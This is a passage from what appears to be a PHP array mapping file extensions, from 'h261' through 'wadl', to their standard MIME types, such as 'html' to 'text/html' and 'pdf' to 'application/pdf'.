        'h261' => 'video/h261',
        'h263' => 'video/h263',
        'h264' => 'video/h264',
        'hal' => 'application/vnd.hal+xml',
        'hbci' => 'application/vnd.hbci',
        'hbs' => 'text/x-handlebars-template',
        'hdd' => 'application/x-virtualbox-hdd',
        'hdf' => 'application/x-hdf',
        'heic' => 'image/heic',
        'heics' => 'image/heic-sequence',
        'heif' => 'image/heif',
        'heifs' => 'image/heif-sequence',
        'hej2' => 'image/hej2k',
        'held' => 'application/atsc-held+xml',
        'hh' => 'text/x-c',
        'hjson' => 'application/hjson',
        'hlp' => 'application/winhlp',
        'hpgl' => 'application/vnd.hp-hpgl',
        'hpid' => 'application/vnd.hp-hpid',
        'hps' => 'application/vnd.hp-hps',
        'hqx' => 'application/mac-binhex40',
        'hsj2' => 'image/hsj2',
        'htc' => 'text/x-component',
        'htke' => 'application/vnd.kenameaapp',
        'htm' => 'text/html',
        'html' => 'text/html',
        'hvd' => 'application/vnd.yamaha.hv-dic',
        'hvp' => 'application/vnd.yamaha.hv-voice',
        'hvs' => 'application/vnd.yamaha.hv-script',
        'i2g' => 'application/vnd.intergeo',
        'icc' => 'application/vnd.iccprofile',
        'ice' => 'x-conference/x-cooltalk',
        'icm' => 'application/vnd.iccprofile',
        'ico' => 'image/x-icon',
        'ics' => 'text/calendar',
        'ief' => 'image/ief',
        'ifb' => 'text/calendar',
        'ifm' => 'application/vnd.shana.informed.formdata',
        'iges' => 'model/iges',
        'igl' => 'application/vnd.igloader',
        'igm' => 'application/vnd.insors.igm',
        'igs' => 'model/iges',
        'igx' => 'application/vnd.micrografx.igx',
        'iif' => 'application/vnd.shana.informed.interchange',
        'img' => 'application/octet-stream',
        'imp' => 'application/vnd.accpac.simply.imp',
        'ims' => 'application/vnd.ms-ims',
        'in' => 'text/plain',
        'ini' => 'text/plain',
        'ink' => 'application/inkml+xml',
        'inkml' => 'application/inkml+xml',
        'install' => 'application/x-install-instructions',
        'iota' => 'application/vnd.astraea-software.iota',
        'ipfix' => 'application/ipfix',
        'ipk' => 'application/vnd.shana.informed.package',
        'irm' => 'application/vnd.ibm.rights-management',
        'irp' => 'application/vnd.irepository.package+xml',
        'iso' => 'application/x-iso9660-image',
        'itp' => 'application/vnd.shana.informed.formtemplate',
        'its' => 'application/its+xml',
        'ivp' => 'application/vnd.immervision-ivp',
        'ivu' => 'application/vnd.immervision-ivu',
        'jad' => 'text/vnd.sun.j2me.app-descriptor',
        'jade' => 'text/jade',
        'jam' => 'application/vnd.jam',
        'jar' => 'application/java-archive',
        'jardiff' => 'application/x-java-archive-diff',
        'java' => 'text/x-java-source',
        'jhc' => 'image/jphc',
        'jisp' => 'application/vnd.jisp',
        'jls' => 'image/jls',
        'jlt' => 'application/vnd.hp-jlyt',
        'jng' => 'image/x-jng',
        'jnlp' => 'application/x-java-jnlp-file',
        'joda' => 'application/vnd.joost.joda-archive',
        'jp2' => 'image/jp2',
        'jpe' => 'image/jpeg',
        'jpeg' => 'image/jpeg',
        'jpf' => 'image/jpx',
        'jpg' => 'image/jpeg',
        'jpg2' => 'image/jp2',
        'jpgm' => 'video/jpm',
        'jpgv' => 'video/jpeg',
        'jph' => 'image/jph',
        'jpm' => 'video/jpm',
        'jpx' => 'image/jpx',
        'js' => 'application/javascript',
        'json' => 'application/json',
        'json5' => 'application/json5',
        'jsonld' => 'application/ld+json',
        'jsonml' => 'application/jsonml+json',
        'jsx' => 'text/jsx',
        'jt' => 'model/jt',
        'jxr' => 'image/jxr',
        'jxra' => 'image/jxra',
        'jxrs' => 'image/jxrs',
        'jxs' => 'image/jxs',
        'jxsc' => 'image/jxsc',
        'jxsi' => 'image/jxsi',
        'jxss' => 'image/jxss',
        'kar' => 'audio/midi',
        'karbon' => 'application/vnd.kde.karbon',
        'kdb' => 'application/octet-stream',
        'kdbx' => 'application/x-keepass2',
        'key' => 'application/x-iwork-keynote-sffkey',
        'kfo' => 'application/vnd.kde.kformula',
        'kia' => 'application/vnd.kidspiration',
        'kml' => 'application/vnd.google-earth.kml+xml',
        'kmz' => 'application/vnd.google-earth.kmz',
        'kne' => 'application/vnd.kinar',
        'knp' => 'application/vnd.kinar',
        'kon' => 'application/vnd.kde.kontour',
        'kpr' => 'application/vnd.kde.kpresenter',
        'kpt' => 'application/vnd.kde.kpresenter',
        'kpxx' => 'application/vnd.ds-keypoint',
        'ksp' => 'application/vnd.kde.kspread',
        'ktr' => 'application/vnd.kahootz',
        'ktx' => 'image/ktx',
        'ktx2' => 'image/ktx2',
        'ktz' => 'application/vnd.kahootz',
        'kwd' => 'application/vnd.kde.kword',
        'kwt' => 'application/vnd.kde.kword',
        'lasxml' => 'application/vnd.las.las+xml',
        'latex' => 'application/x-latex',
        'lbd' => 'application/vnd.llamagraphics.life-balance.desktop',
        'lbe' => 'application/vnd.llamagraphics.life-balance.exchange+xml',
        'les' => 'application/vnd.hhe.lesson-player',
        'less' => 'text/less',
        'lgr' => 'application/lgr+xml',
        'lha' => 'application/octet-stream',
        'link66' => 'application/vnd.route66.link66+xml',
        'list' => 'text/plain',
        'list3820' => 'application/vnd.ibm.modcap',
        'listafp' => 'application/vnd.ibm.modcap',
        'litcoffee' => 'text/coffeescript',
        'lnk' => 'application/x-ms-shortcut',
        'log' => 'text/plain',
        'lostxml' => 'application/lost+xml',
        'lrf' => 'application/octet-stream',
        'lrm' => 'application/vnd.ms-lrm',
        'ltf' => 'application/vnd.frogans.ltf',
        'lua' => 'text/x-lua',
        'luac' => 'application/x-lua-bytecode',
        'lvp' => 'audio/vnd.lucent.voice',
        'lwp' => 'application/vnd.lotus-wordpro',
        'lzh' => 'application/octet-stream',
        'm1v' => 'video/mpeg',
        'm2a' => 'audio/mpeg',
        'm2v' => 'video/mpeg',
        'm3a' => 'audio/mpeg',
        'm3u' => 'text/plain',
        'm3u8' => 'application/vnd.apple.mpegurl',
        'm4a' => 'audio/x-m4a',
        'm4p' => 'application/mp4',
        'm4s' => 'video/iso.segment',
        'm4u' => 'application/vnd.mpegurl',
        'm4v' => 'video/x-m4v',
        'm13' => 'application/x-msmediaview',
        'm14' => 'application/x-msmediaview',
        'm21' => 'application/mp21',
        'ma' => 'application/mathematica',
        'mads' => 'application/mads+xml',
        'maei' => 'application/mmt-aei+xml',
        'mag' => 'application/vnd.ecowin.chart',
        'maker' => 'application/vnd.framemaker',
        'man' => 'text/troff',
        'manifest' => 'text/cache-manifest',
        'map' => 'application/json',
        'mar' => 'application/octet-stream',
        'markdown' => 'text/markdown',
        'mathml' => 'application/mathml+xml',
        'mb' => 'application/mathematica',
        'mbk' => 'application/vnd.mobius.mbk',
        'mbox' => 'application/mbox',
        'mc1' => 'application/vnd.medcalcdata',
        'mcd' => 'application/vnd.mcd',
        'mcurl' => 'text/vnd.curl.mcurl',
        'md' => 'text/markdown',
        'mdb' => 'application/x-msaccess',
        'mdi' => 'image/vnd.ms-modi',
        'mdx' => 'text/mdx',
        'me' => 'text/troff',
        'mesh' => 'model/mesh',
        'meta4' => 'application/metalink4+xml',
        'metalink' => 'application/metalink+xml',
        'mets' => 'application/mets+xml',
        'mfm' => 'application/vnd.mfmp',
        'mft' => 'application/rpki-manifest',
        'mgp' => 'application/vnd.osgeo.mapguide.package',
        'mgz' => 'application/vnd.proteus.magazine',
        'mid' => 'audio/midi',
        'midi' => 'audio/midi',
        'mie' => 'application/x-mie',
        'mif' => 'application/vnd.mif',
        'mime' => 'message/rfc822',
        'mj2' => 'video/mj2',
        'mjp2' => 'video/mj2',
        'mjs' => 'text/javascript',
        'mk3d' => 'video/x-matroska',
        'mka' => 'audio/x-matroska',
        'mkd' => 'text/x-markdown',
        'mks' => 'video/x-matroska',
        'mkv' => 'video/x-matroska',
        'mlp' => 'application/vnd.dolby.mlp',
        'mmd' => 'application/vnd.chipnuts.karaoke-mmd',
        'mmf' => 'application/vnd.smaf',
        'mml' => 'text/mathml',
        'mmr' => 'image/vnd.fujixerox.edmics-mmr',
        'mng' => 'video/x-mng',
        'mny' => 'application/x-msmoney',
        'mobi' => 'application/x-mobipocket-ebook',
        'mods' => 'application/mods+xml',
        'mov' => 'video/quicktime',
        'movie' => 'video/x-sgi-movie',
        'mp2' => 'audio/mpeg',
        'mp2a' => 'audio/mpeg',
        'mp3' => 'audio/mpeg',
        'mp4' => 'video/mp4',
        'mp4a' => 'audio/mp4',
        'mp4s' => 'application/mp4',
        'mp4v' => 'video/mp4',
        'mp21' => 'application/mp21',
        'mpc' => 'application/vnd.mophun.certificate',
        'mpd' => 'application/dash+xml',
        'mpe' => 'video/mpeg',
        'mpeg' => 'video/mpeg',
        'mpf' => 'application/media-policy-dataset+xml',
        'mpg' => 'video/mpeg',
        'mpg4' => 'video/mp4',
        'mpga' => 'audio/mpeg',
        'mpkg' => 'application/vnd.apple.installer+xml',
        'mpm' => 'application/vnd.blueice.multipass',
        'mpn' => 'application/vnd.mophun.application',
        'mpp' => 'application/vnd.ms-project',
        'mpt' => 'application/vnd.ms-project',
        'mpy' => 'application/vnd.ibm.minipay',
        'mqy' => 'application/vnd.mobius.mqy',
        'mrc' => 'application/marc',
        'mrcx' => 'application/marcxml+xml',
        'ms' => 'text/troff',
        'mscml' => 'application/mediaservercontrol+xml',
        'mseed' => 'application/vnd.fdsn.mseed',
        'mseq' => 'application/vnd.mseq',
        'msf' => 'application/vnd.epson.msf',
        'msg' => 'application/vnd.ms-outlook',
        'msh' => 'model/mesh',
        'msi' => 'application/x-msdownload',
        'msix' => 'application/msix',
        'msixbundle' => 'application/msixbundle',
        'msl' => 'application/vnd.mobius.msl',
        'msm' => 'application/octet-stream',
        'msp' => 'application/octet-stream',
        'msty' => 'application/vnd.muvee.style',
        'mtl' => 'model/mtl',
        'mts' => 'model/vnd.mts',
        'mus' => 'application/vnd.musician',
        'musd' => 'application/mmt-usd+xml',
        'musicxml' => 'application/vnd.recordare.musicxml+xml',
        'mvb' => 'application/x-msmediaview',
        'mvt' => 'application/vnd.mapbox-vector-tile',
        'mwf' => 'application/vnd.mfer',
        'mxf' => 'application/mxf',
        'mxl' => 'application/vnd.recordare.musicxml',
        'mxmf' => 'audio/mobile-xmf',
        'mxml' => 'application/xv+xml',
        'mxs' => 'application/vnd.triscape.mxs',
        'mxu' => 'video/vnd.mpegurl',
        'n-gage' => 'application/vnd.nokia.n-gage.symbian.install',
        'n3' => 'text/n3',
        'nb' => 'application/mathematica',
        'nbp' => 'application/vnd.wolfram.player',
        'nc' => 'application/x-netcdf',
        'ncx' => 'application/x-dtbncx+xml',
        'nfo' => 'text/x-nfo',
        'ngdat' => 'application/vnd.nokia.n-gage.data',
        'nitf' => 'application/vnd.nitf',
        'nlu' => 'application/vnd.neurolanguage.nlu',
        'nml' => 'application/vnd.enliven',
        'nnd' => 'application/vnd.noblenet-directory',
        'nns' => 'application/vnd.noblenet-sealer',
        'nnw' => 'application/vnd.noblenet-web',
        'npx' => 'image/vnd.net-fpx',
        'nq' => 'application/n-quads',
        'nsc' => 'application/x-conference',
        'nsf' => 'application/vnd.lotus-notes',
        'nt' => 'application/n-triples',
        'ntf' => 'application/vnd.nitf',
        'numbers' => 'application/x-iwork-numbers-sffnumbers',
        'nzb' => 'application/x-nzb',
        'oa2' => 'application/vnd.fujitsu.oasys2',
        'oa3' => 'application/vnd.fujitsu.oasys3',
        'oas' => 'application/vnd.fujitsu.oasys',
        'obd' => 'application/x-msbinder',
        'obgx' => 'application/vnd.openblox.game+xml',
        'obj' => 'model/obj',
        'oda' => 'application/oda',
        'odb' => 'application/vnd.oasis.opendocument.database',
        'odc' => 'application/vnd.oasis.opendocument.chart',
        'odf' => 'application/vnd.oasis.opendocument.formula',
        'odft' => 'application/vnd.oasis.opendocument.formula-template',
        'odg' => 'application/vnd.oasis.opendocument.graphics',
        'odi' => 'application/vnd.oasis.opendocument.image',
        'odm' => 'application/vnd.oasis.opendocument.text-master',
        'odp' => 'application/vnd.oasis.opendocument.presentation',
        'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
        'odt' => 'application/vnd.oasis.opendocument.text',
        'oga' => 'audio/ogg',
        'ogex' => 'model/vnd.opengex',
        'ogg' => 'audio/ogg',
        'ogv' => 'video/ogg',
        'ogx' => 'application/ogg',
        'omdoc' => 'application/omdoc+xml',
        'onepkg' => 'application/onenote',
        'onetmp' => 'application/onenote',
        'onetoc' => 'application/onenote',
        'onetoc2' => 'application/onenote',
        'opf' => 'application/oebps-package+xml',
        'opml' => 'text/x-opml',
        'oprc' => 'application/vnd.palm',
        'opus' => 'audio/ogg',
        'org' => 'text/x-org',
        'osf' => 'application/vnd.yamaha.openscoreformat',
        'osfpvg' => 'application/vnd.yamaha.openscoreformat.osfpvg+xml',
        'osm' => 'application/vnd.openstreetmap.data+xml',
        'otc' => 'application/vnd.oasis.opendocument.chart-template',
        'otf' => 'font/otf',
        'otg' => 'application/vnd.oasis.opendocument.graphics-template',
        'oth' => 'application/vnd.oasis.opendocument.text-web',
        'oti' => 'application/vnd.oasis.opendocument.image-template',
        'otp' => 'application/vnd.oasis.opendocument.presentation-template',
        'ots' => 'application/vnd.oasis.opendocument.spreadsheet-template',
        'ott' => 'application/vnd.oasis.opendocument.text-template',
        'ova' => 'application/x-virtualbox-ova',
        'ovf' => 'application/x-virtualbox-ovf',
        'owl' => 'application/rdf+xml',
        'oxps' => 'application/oxps',
        'oxt' => 'application/vnd.openofficeorg.extension',
        'p' => 'text/x-pascal',
        'p7a' => 'application/x-pkcs7-signature',
        'p7b' => 'application/x-pkcs7-certificates',
        'p7c' => 'application/pkcs7-mime',
        'p7m' => 'application/pkcs7-mime',
        'p7r' => 'application/x-pkcs7-certreqresp',
        'p7s' => 'application/pkcs7-signature',
        'p8' => 'application/pkcs8',
        'p10' => 'application/x-pkcs10',
        'p12' => 'application/x-pkcs12',
        'pac' => 'application/x-ns-proxy-autoconfig',
        'pages' => 'application/x-iwork-pages-sffpages',
        'pas' => 'text/x-pascal',
        'paw' => 'application/vnd.pawaafile',
        'pbd' => 'application/vnd.powerbuilder6',
        'pbm' => 'image/x-portable-bitmap',
        'pcap' => 'application/vnd.tcpdump.pcap',
        'pcf' => 'application/x-font-pcf',
        'pcl' => 'application/vnd.hp-pcl',
        'pclxl' => 'application/vnd.hp-pclxl',
        'pct' => 'image/x-pict',
        'pcurl' => 'application/vnd.curl.pcurl',
        'pcx' => 'image/x-pcx',
        'pdb' => 'application/x-pilot',
        'pde' => 'text/x-processing',
        'pdf' => 'application/pdf',
        'pem' => 'application/x-x509-user-cert',
        'pfa' => 'application/x-font-type1',
        'pfb' => 'application/x-font-type1',
        'pfm' => 'application/x-font-type1',
        'pfr' => 'application/font-tdpfr',
        'pfx' => 'application/x-pkcs12',
        'pgm' => 'image/x-portable-graymap',
        'pgn' => 'application/x-chess-pgn',
        'pgp' => 'application/pgp',
        'phar' => 'application/octet-stream',
        'php' => 'application/x-httpd-php',
        'php3' => 'application/x-httpd-php',
        'php4' => 'application/x-httpd-php',
        'phps' => 'application/x-httpd-php-source',
        'phtml' => 'application/x-httpd-php',
        'pic' => 'image/x-pict',
        'pkg' => 'application/octet-stream',
        'pki' => 'application/pkixcmp',
        'pkipath' => 'application/pkix-pkipath',
        'pkpass' => 'application/vnd.apple.pkpass',
        'pl' => 'application/x-perl',
        'plb' => 'application/vnd.3gpp.pic-bw-large',
        'plc' => 'application/vnd.mobius.plc',
        'plf' => 'application/vnd.pocketlearn',
        'pls' => 'application/pls+xml',
        'pm' => 'application/x-perl',
        'pml' => 'application/vnd.ctc-posml',
        'png' => 'image/png',
        'pnm' => 'image/x-portable-anymap',
        'portpkg' => 'application/vnd.macports.portpkg',
        'pot' => 'application/vnd.ms-powerpoint',
        'potm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12',
        'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
        'ppa' => 'application/vnd.ms-powerpoint',
        'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12',
        'ppd' => 'application/vnd.cups-ppd',
        'ppm' => 'image/x-portable-pixmap',
        'pps' => 'application/vnd.ms-powerpoint',
        'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12',
        'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
        'ppt' => 'application/powerpoint',
        'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12',
        'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
        'pqa' => 'application/vnd.palm',
        'prc' => 'model/prc',
        'pre' => 'application/vnd.lotus-freelance',
        'prf' => 'application/pics-rules',
        'provx' => 'application/provenance+xml',
        'ps' => 'application/postscript',
        'psb' => 'application/vnd.3gpp.pic-bw-small',
        'psd' => 'application/x-photoshop',
        'psf' => 'application/x-font-linux-psf',
        'pskcxml' => 'application/pskc+xml',
        'pti' => 'image/prs.pti',
        'ptid' => 'application/vnd.pvi.ptid1',
        'pub' => 'application/x-mspublisher',
        'pvb' => 'application/vnd.3gpp.pic-bw-var',
        'pwn' => 'application/vnd.3m.post-it-notes',
        'pya' => 'audio/vnd.ms-playready.media.pya',
        'pyo' => 'model/vnd.pytha.pyox',
        'pyox' => 'model/vnd.pytha.pyox',
        'pyv' => 'video/vnd.ms-playready.media.pyv',
        'qam' => 'application/vnd.epson.quickanime',
        'qbo' => 'application/vnd.intu.qbo',
        'qfx' => 'application/vnd.intu.qfx',
        'qps' => 'application/vnd.publishare-delta-tree',
        'qt' => 'video/quicktime',
        'qwd' => 'application/vnd.quark.quarkxpress',
        'qwt' => 'application/vnd.quark.quarkxpress',
        'qxb' => 'application/vnd.quark.quarkxpress',
        'qxd' => 'application/vnd.quark.quarkxpress',
        'qxl' => 'application/vnd.quark.quarkxpress',
        'qxt' => 'application/vnd.quark.quarkxpress',
        'ra' => 'audio/x-realaudio',
        'ram' => 'audio/x-pn-realaudio',
        'raml' => 'application/raml+yaml',
        'rapd' => 'application/route-apd+xml',
        'rar' => 'application/x-rar',
        'ras' => 'image/x-cmu-raster',
        'rcprofile' => 'application/vnd.ipunplugged.rcprofile',
        'rdf' => 'application/rdf+xml',
        'rdz' => 'application/vnd.data-vision.rdz',
        'relo' => 'application/p2p-overlay+xml',
        'rep' => 'application/vnd.businessobjects',
        'res' => 'application/x-dtbresource+xml',
        'rgb' => 'image/x-rgb',
        'rif' => 'application/reginfo+xml',
        'rip' => 'audio/vnd.rip',
        'ris' => 'application/x-research-info-systems',
        'rl' => 'application/resource-lists+xml',
        'rlc' => 'image/vnd.fujixerox.edmics-rlc',
        'rld' => 'application/resource-lists-diff+xml',
        'rm' => 'audio/x-pn-realaudio',
        'rmi' => 'audio/midi',
        'rmp' => 'audio/x-pn-realaudio-plugin',
        'rms' => 'application/vnd.jcp.javame.midlet-rms',
        'rmvb' => 'application/vnd.rn-realmedia-vbr',
        'rnc' => 'application/relax-ng-compact-syntax',
        'rng' => 'application/xml',
        'roa' => 'application/rpki-roa',
        'roff' => 'text/troff',
        'rp9' => 'application/vnd.cloanto.rp9',
        'rpm' => 'audio/x-pn-realaudio-plugin',
        'rpss' => 'application/vnd.nokia.radio-presets',
        'rpst' => 'application/vnd.nokia.radio-preset',
        'rq' => 'application/sparql-query',
        'rs' => 'application/rls-services+xml',
        'rsa' => 'application/x-pkcs7',
        'rsat' => 'application/atsc-rsat+xml',
        'rsd' => 'application/rsd+xml',
        'rsheet' => 'application/urc-ressheet+xml',
        'rss' => 'application/rss+xml',
        'rtf' => 'text/rtf',
        'rtx' => 'text/richtext',
        'run' => 'application/x-makeself',
        'rusd' => 'application/route-usd+xml',
        'rv' => 'video/vnd.rn-realvideo',
        's' => 'text/x-asm',
        's3m' => 'audio/s3m',
        'saf' => 'application/vnd.yamaha.smaf-audio',
        'sass' => 'text/x-sass',
        'sbml' => 'application/sbml+xml',
        'sc' => 'application/vnd.ibm.secure-container',
        'scd' => 'application/x-msschedule',
        'scm' => 'application/vnd.lotus-screencam',
        'scq' => 'application/scvp-cv-request',
        'scs' => 'application/scvp-cv-response',
        'scss' => 'text/x-scss',
        'scurl' => 'text/vnd.curl.scurl',
        'sda' => 'application/vnd.stardivision.draw',
        'sdc' => 'application/vnd.stardivision.calc',
        'sdd' => 'application/vnd.stardivision.impress',
        'sdkd' => 'application/vnd.solent.sdkm+xml',
        'sdkm' => 'application/vnd.solent.sdkm+xml',
        'sdp' => 'application/sdp',
        'sdw' => 'application/vnd.stardivision.writer',
        'sea' => 'application/octet-stream',
        'see' => 'application/vnd.seemail',
        'seed' => 'application/vnd.fdsn.seed',
        'sema' => 'application/vnd.sema',
        'semd' => 'application/vnd.semd',
        'semf' => 'application/vnd.semf',
        'senmlx' => 'application/senml+xml',
        'sensmlx' => 'application/sensml+xml',
        'ser' => 'application/java-serialized-object',
        'setpay' => 'application/set-payment-initiation',
        'setreg' => 'application/set-registration-initiation',
        'sfd-hdstx' => 'application/vnd.hydrostatix.sof-data',
        'sfs' => 'application/vnd.spotfire.sfs',
        'sfv' => 'text/x-sfv',
        'sgi' => 'image/sgi',
        'sgl' => 'application/vnd.stardivision.writer-global',
        'sgm' => 'text/sgml',
        'sgml' => 'text/sgml',
        'sh' => 'application/x-sh',
        'shar' => 'application/x-shar',
        'shex' => 'text/shex',
        'shf' => 'application/shf+xml',
        'shtml' => 'text/html',
        'sid' => 'image/x-mrsid-image',
        'sieve' => 'application/sieve',
        'sig' => 'application/pgp-signature',
        'sil' => 'audio/silk',
        'silo' => 'model/mesh',
        'sis' => 'application/vnd.symbian.install',
        'sisx' => 'application/vnd.symbian.install',
        'sit' => 'application/x-stuffit',
        'sitx' => 'application/x-stuffitx',
        'siv' => 'application/sieve',
        'skd' => 'application/vnd.koan',
        'skm' => 'application/vnd.koan',
        'skp' => 'application/vnd.koan',
        'skt' => 'application/vnd.koan',
        'sldm' => 'application/vnd.ms-powerpoint.slide.macroenabled.12',
        'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
        'slim' => 'text/slim',
        'slm' => 'text/slim',
        'sls' => 'application/route-s-tsid+xml',
        'slt' => 'application/vnd.epson.salt',
        'sm' => 'application/vnd.stepmania.stepchart',
        'smf' => 'application/vnd.stardivision.math',
        'smi' => 'application/smil',
        'smil' => 'application/smil',
        'smv' => 'video/x-smv',
        'smzip' => 'application/vnd.stepmania.package',
        'snd' => 'audio/basic',
        'snf' => 'application/x-font-snf',
        'so' => 'application/octet-stream',
        'spc' => 'application/x-pkcs7-certificates',
        'spdx' => 'text/spdx',
        'spf' => 'application/vnd.yamaha.smaf-phrase',
        'spl' => 'application/x-futuresplash',
        'spot' => 'text/vnd.in3d.spot',
        'spp' => 'application/scvp-vp-response',
        'spq' => 'application/scvp-vp-request',
        'spx' => 'audio/ogg',
        'sql' => 'application/x-sql',
        'src' => 'application/x-wais-source',
        'srt' => 'application/x-subrip',
        'sru' => 'application/sru+xml',
        'srx' => 'application/sparql-results+xml',
        'ssdl' => 'application/ssdl+xml',
        'sse' => 'application/vnd.kodak-descriptor',
        'ssf' => 'application/vnd.epson.ssf',
        'ssml' => 'application/ssml+xml',
        'sst' => 'application/octet-stream',
        'st' => 'application/vnd.sailingtracker.track',
        'stc' => 'application/vnd.sun.xml.calc.template',
        'std' => 'application/vnd.sun.xml.draw.template',
        'step' => 'application/STEP',
        'stf' => 'application/vnd.wt.stf',
        'sti' => 'application/vnd.sun.xml.impress.template',
        'stk' => 'application/hyperstudio',
        'stl' => 'model/stl',
        'stp' => 'application/STEP',
        'stpx' => 'model/step+xml',
        'stpxz' => 'model/step-xml+zip',
        'stpz' => 'model/step+zip',
        'str' => 'application/vnd.pg.format',
        'stw' => 'application/vnd.sun.xml.writer.template',
        'styl' => 'text/stylus',
        'stylus' => 'text/stylus',
        'sub' => 'text/vnd.dvb.subtitle',
        'sus' => 'application/vnd.sus-calendar',
        'susp' => 'application/vnd.sus-calendar',
        'sv4cpio' => 'application/x-sv4cpio',
        'sv4crc' => 'application/x-sv4crc',
        'svc' => 'application/vnd.dvb.service',
        'svd' => 'application/vnd.svd',
        'svg' => 'image/svg+xml',
        'svgz' => 'image/svg+xml',
        'swa' => 'application/x-director',
        'swf' => 'application/x-shockwave-flash',
        'swi' => 'application/vnd.aristanetworks.swi',
        'swidtag' => 'application/swid+xml',
        'sxc' => 'application/vnd.sun.xml.calc',
        'sxd' => 'application/vnd.sun.xml.draw',
        'sxg' => 'application/vnd.sun.xml.writer.global',
        'sxi' => 'application/vnd.sun.xml.impress',
        'sxm' => 'application/vnd.sun.xml.math',
        'sxw' => 'application/vnd.sun.xml.writer',
        't' => 'text/troff',
        't3' => 'application/x-t3vm-image',
        't38' => 'image/t38',
        'taglet' => 'application/vnd.mynfc',
        'tao' => 'application/vnd.tao.intent-module-archive',
        'tap' => 'image/vnd.tencent.tap',
        'tar' => 'application/x-tar',
        'tcap' => 'application/vnd.3gpp2.tcap',
        'tcl' => 'application/x-tcl',
        'td' => 'application/urc-targetdesc+xml',
        'teacher' => 'application/vnd.smart.teacher',
        'tei' => 'application/tei+xml',
        'teicorpus' => 'application/tei+xml',
        'tex' => 'application/x-tex',
        'texi' => 'application/x-texinfo',
        'texinfo' => 'application/x-texinfo',
        'text' => 'text/plain',
        'tfi' => 'application/thraud+xml',
        'tfm' => 'application/x-tex-tfm',
        'tfx' => 'image/tiff-fx',
        'tga' => 'image/x-tga',
        'tgz' => 'application/x-tar',
        'thmx' => 'application/vnd.ms-officetheme',
        'tif' => 'image/tiff',
        'tiff' => 'image/tiff',
        'tk' => 'application/x-tcl',
        'tmo' => 'application/vnd.tmobile-livetv',
        'toml' => 'application/toml',
        'torrent' => 'application/x-bittorrent',
        'tpl' => 'application/vnd.groove-tool-template',
        'tpt' => 'application/vnd.trid.tpt',
        'tr' => 'text/troff',
        'tra' => 'application/vnd.trueapp',
        'trig' => 'application/trig',
        'trm' => 'application/x-msterminal',
        'ts' => 'video/mp2t',
        'tsd' => 'application/timestamped-data',
        'tsv' => 'text/tab-separated-values',
        'ttc' => 'font/collection',
        'ttf' => 'font/ttf',
        'ttl' => 'text/turtle',
        'ttml' => 'application/ttml+xml',
        'twd' => 'application/vnd.simtech-mindmapper',
        'twds' => 'application/vnd.simtech-mindmapper',
        'txd' => 'application/vnd.genomatix.tuxedo',
        'txf' => 'application/vnd.mobius.txf',
        'txt' => 'text/plain',
        'u3d' => 'model/u3d',
        'u8dsn' => 'message/global-delivery-status',
        'u8hdr' => 'message/global-headers',
        'u8mdn' => 'message/global-disposition-notification',
        'u8msg' => 'message/global',
        'u32' => 'application/x-authorware-bin',
        'ubj' => 'application/ubjson',
        'udeb' => 'application/x-debian-package',
        'ufd' => 'application/vnd.ufdl',
        'ufdl' => 'application/vnd.ufdl',
        'ulx' => 'application/x-glulx',
        'umj' => 'application/vnd.umajin',
        'unityweb' => 'application/vnd.unity',
        'uo' => 'application/vnd.uoml+xml',
        'uoml' => 'application/vnd.uoml+xml',
        'uri' => 'text/uri-list',
        'uris' => 'text/uri-list',
        'urls' => 'text/uri-list',
        'usda' => 'model/vnd.usda',
        'usdz' => 'model/vnd.usdz+zip',
        'ustar' => 'application/x-ustar',
        'utz' => 'application/vnd.uiq.theme',
        'uu' => 'text/x-uuencode',
        'uva' => 'audio/vnd.dece.audio',
        'uvd' => 'application/vnd.dece.data',
        'uvf' => 'application/vnd.dece.data',
        'uvg' => 'image/vnd.dece.graphic',
        'uvh' => 'video/vnd.dece.hd',
        'uvi' => 'image/vnd.dece.graphic',
        'uvm' => 'video/vnd.dece.mobile',
        'uvp' => 'video/vnd.dece.pd',
        'uvs' => 'video/vnd.dece.sd',
        'uvt' => 'application/vnd.dece.ttml+xml',
        'uvu' => 'video/vnd.uvvu.mp4',
        'uvv' => 'video/vnd.dece.video',
        'uvva' => 'audio/vnd.dece.audio',
        'uvvd' => 'application/vnd.dece.data',
        'uvvf' => 'application/vnd.dece.data',
        'uvvg' => 'image/vnd.dece.graphic',
        'uvvh' => 'video/vnd.dece.hd',
        'uvvi' => 'image/vnd.dece.graphic',
        'uvvm' => 'video/vnd.dece.mobile',
        'uvvp' => 'video/vnd.dece.pd',
        'uvvs' => 'video/vnd.dece.sd',
        'uvvt' => 'application/vnd.dece.ttml+xml',
        'uvvu' => 'video/vnd.uvvu.mp4',
        'uvvv' => 'video/vnd.dece.video',
        'uvvx' => 'application/vnd.dece.unspecified',
        'uvvz' => 'application/vnd.dece.zip',
        'uvx' => 'application/vnd.dece.unspecified',
        'uvz' => 'application/vnd.dece.zip',
        'vbox' => 'application/x-virtualbox-vbox',
        'vbox-extpack' => 'application/x-virtualbox-vbox-extpack',
        'vcard' => 'text/vcard',
        'vcd' => 'application/x-cdlink',
        'vcf' => 'text/x-vcard',
        'vcg' => 'application/vnd.groove-vcard',
        'vcs' => 'text/x-vcalendar',
        'vcx' => 'application/vnd.vcx',
        'vdi' => 'application/x-virtualbox-vdi',
        'vds' => 'model/vnd.sap.vds',
        'vhd' => 'application/x-virtualbox-vhd',
        'vis' => 'application/vnd.visionary',
        'viv' => 'video/vnd.vivo',
        'vlc' => 'application/videolan',
        'vmdk' => 'application/x-virtualbox-vmdk',
        'vob' => 'video/x-ms-vob',
        'vor' => 'application/vnd.stardivision.writer',
        'vox' => 'application/x-authorware-bin',
        'vrml' => 'model/vrml',
        'vsd' => 'application/vnd.visio',
        'vsf' => 'application/vnd.vsf',
        'vss' => 'application/vnd.visio',
        'vst' => 'application/vnd.visio',
        'vsw' => 'application/vnd.visio',
        'vtf' => 'image/vnd.valve.source.texture',
        'vtt' => 'text/vtt',
        'vtu' => 'model/vnd.vtu',
        'vxml' => 'application/voicexml+xml',
        'w3d' => 'application/x-director',
        'wad' => 'application/x-doom',
        'wadl' => 'application/vnd.sun.wadl+xml',
